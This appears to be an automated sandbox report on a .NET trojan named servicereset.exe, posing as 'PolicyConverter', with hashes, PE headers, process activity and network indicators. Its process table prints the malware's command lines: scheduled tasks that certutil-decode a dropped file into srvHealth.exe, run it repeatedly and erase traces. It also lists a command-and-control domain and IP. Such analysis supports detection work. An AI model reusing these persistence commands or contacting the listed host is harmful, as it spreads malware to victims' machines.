| File name: | servicereset.exe |
| Full analysis: | https://app.any.run/tasks/39280a4a-38fa-4cc5-808c-67eceeed126b |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | June 04, 2019, 21:54:52 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows |
| MD5: | 96B47C5AF8652AC99150BF602A88498B |
| SHA1: | 6524F8A29C7FD0190F53D1E61D2BB00BD7CC9AA8 |
| SHA256: | 33C187CFD9E3B68C3089C27AC64A519CCC951CCB3C74D75179C520F54F11F647 |
| SSDEEP: | 3072:UheA7zqgOajgYy4PmGnva+PeCN7Ub9I/VdNsI5RKq1yaSGfJuex5Gvq9b2THoTvH:8tf5+GSON7UKYqBSJ84CJIITK8y8d |
MALICIOUS
Uses Task Scheduler to run other applications
- cmd.exe (PID: 2920)
- cmd.exe (PID: 1276)
Connects to CnC server
- RegAsm.exe (PID: 3632)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 3416)
- schtasks.exe (PID: 2624)
SUSPICIOUS
Starts CMD.EXE for commands execution
- servicereset.exe (PID: 3100)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (56.7) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (21.3) |
| .scr | | | Windows screen saver (10.1) |
| .dll | | | Win32 Dynamic Link Library (generic) (5) |
| .exe | | | Win32 Executable (generic) (3.4) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2017:08:16 14:04:33+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 8 |
| CodeSize: | 224768 |
| InitializedDataSize: | 2048 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x38da6 |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| Comments: | - |
| CompanyName: | - |
| FileDescription: | PolicyConverter |
| FileVersion: | 1.0.0.0 |
| InternalName: | PolicyConverter.exe |
| LegalCopyright: | Copyright © 2017 |
| LegalTrademarks: | - |
| OriginalFileName: | PolicyConverter.exe |
| ProductName: | PolicyConverter |
| ProductVersion: | 1.0.0.0 |
| AssemblyVersion: | 1.0.0.0 |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 16-Aug-2017 12:04:33 |
| Comments: | - |
| CompanyName: | - |
| FileDescription: | PolicyConverter |
| FileVersion: | 1.0.0.0 |
| InternalName: | PolicyConverter.exe |
| LegalCopyright: | Copyright © 2017 |
| LegalTrademarks: | - |
| OriginalFilename: | PolicyConverter.exe |
| ProductName: | PolicyConverter |
| ProductVersion: | 1.0.0.0 |
| Assembly Version: | 1.0.0.0 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000080 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 3 |
| Time date stamp: | 16-Aug-2017 12:04:33 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00002000 | 0x00036DAC | 0x00036E00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 7.9147 |
.rsrc | 0x0003A000 | 0x000005CE | 0x00000600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.16492 |
.reloc | 0x0003C000 | 0x0000000C | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 0.10191 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.00112 | 490 | UNKNOWN | UNKNOWN | RT_MANIFEST |
Imports
mscoree.dll |
Total processes
40
Monitored processes
6
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1276 | cmd.exe /c SchTasks /Create /SC MINUTE /MO 2 /TN "LocalReportHealth" /TR "cmd.exe /c certutil -decode %localappdata%\srvBS.txt %localappdata%\srvHealth.exe && schtasks /DELETE /tn LocalReportHealth /f && del %localappdata%\srvBS.txt" | C:\Windows\system32\cmd.exe | — | servicereset.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2624 | SchTasks /Create /SC MINUTE /MO 2 /TN "LocalReportHealth" /TR "cmd.exe /c certutil -decode C:\Users\admin\AppData\Local\srvBS.txt C:\Users\admin\AppData\Local\srvHealth.exe && schtasks /DELETE /tn LocalReportHealth /f && del C:\Users\admin\AppData\Local\srvBS.txt" | C:\Windows\system32\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2920 | cmd.exe /c SchTasks /Create /SC MINUTE /MO 4 /TN "ReportHealth" /TR "%localappdata%\srvHealth.exe" /f | C:\Windows\system32\cmd.exe | — | servicereset.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3100 | "C:\Users\admin\AppData\Local\Temp\servicereset.exe" | C:\Users\admin\AppData\Local\Temp\servicereset.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: PolicyConverter Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 3416 | SchTasks /Create /SC MINUTE /MO 4 /TN "ReportHealth" /TR "C:\Users\admin\AppData\Local\srvHealth.exe" /f | C:\Windows\system32\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3632 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe | servicereset.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft .NET Assembly Registration Utility Exit code: 0 Version: 2.0.50727.5420 (Win7SP1.050727-5400) Modules
| |||||||||||||||
Total events
51
Read events
33
Write events
18
Delete events
0
Modification events
| (PID) Process: | (3632) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3632) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3632) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3632) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3632) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (3632) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (3632) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3632) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3632) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3632) RegAsm.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RegAsm_RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
Executable files
0
Suspicious files
0
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3100 | servicereset.exe | C:\Users\admin\AppData\Local\srvBS.txt | text | |
MD5:DAA1A594431F8294721E73AD86D5F8DB | SHA256:0745485207672E0B43F080A57E53CADC72BEB3092246A3F3984CD3E03C0543A8 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
2
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3632 | RegAsm.exe | GET | — | 52.45.178.122:80 | http://52.45.178.122/action2/VVNFUi1QQ1xhZG1pbg%3d%3d | US | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3632 | RegAsm.exe | 52.45.178.122:80 | www.cdnmsnupdate.com | Amazon.com, Inc. | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.cdnmsnupdate.com |
| malicious |
n.n.c.2ADEEC05584443D2AC42.cdnmsnupdate.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3632 | RegAsm.exe | A Network Trojan was detected | ET MALWARE User-Agent (Firefox) - Possible Trojan Downloader |
3632 | RegAsm.exe | A Network Trojan was detected | ET TROJAN ISMAgent CnC Checkin 1 |